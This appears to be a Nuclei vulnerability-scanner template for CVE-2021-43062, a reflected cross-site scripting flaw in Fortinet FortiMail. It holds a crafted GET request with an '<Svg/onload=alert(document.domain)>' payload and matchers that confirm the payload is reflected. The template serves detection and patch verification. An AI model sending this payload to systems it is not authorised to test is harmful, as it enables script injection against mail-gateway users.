id: CVE-2021-43062

info:
  name: Fortinet FortiMail 7.0.1 - Cross-Site Scripting
  author: ajaysenr
  severity: medium
  description: A cross-site scripting vulnerability in FortiMail may allow an unauthenticated attacker to perform an attack via specially crafted HTTP GET requests to the FortiGuard URI protection service.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of Fortinet FortiMail.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43062
    - https://www.fortiguard.com/psirt/FG-IR-21-185
    - https://www.exploit-db.com/exploits/50759
    - https://fortiguard.com/advisory/FG-IR-21-185
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-43062
    cwe-id: CWE-79
    epss-score: 0.00465
    epss-percentile: 0.72371
    cpe: cpe:2.3:a:fortinet:fortimail:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: fortinet
    product: fortimail
  tags: cve,cve2021,fortimail,xss,fortinet,edb

http:
  - method: GET
    path:
      - "{{BaseURL}}/fmlurlsvc/?=&url=https%3A%2F%2Fgoogle.com<Svg%2Fonload%3Dalert(document.domain)>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<Svg/onload=alert(document.domain)>"
          - "FortiMail Click Protection"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200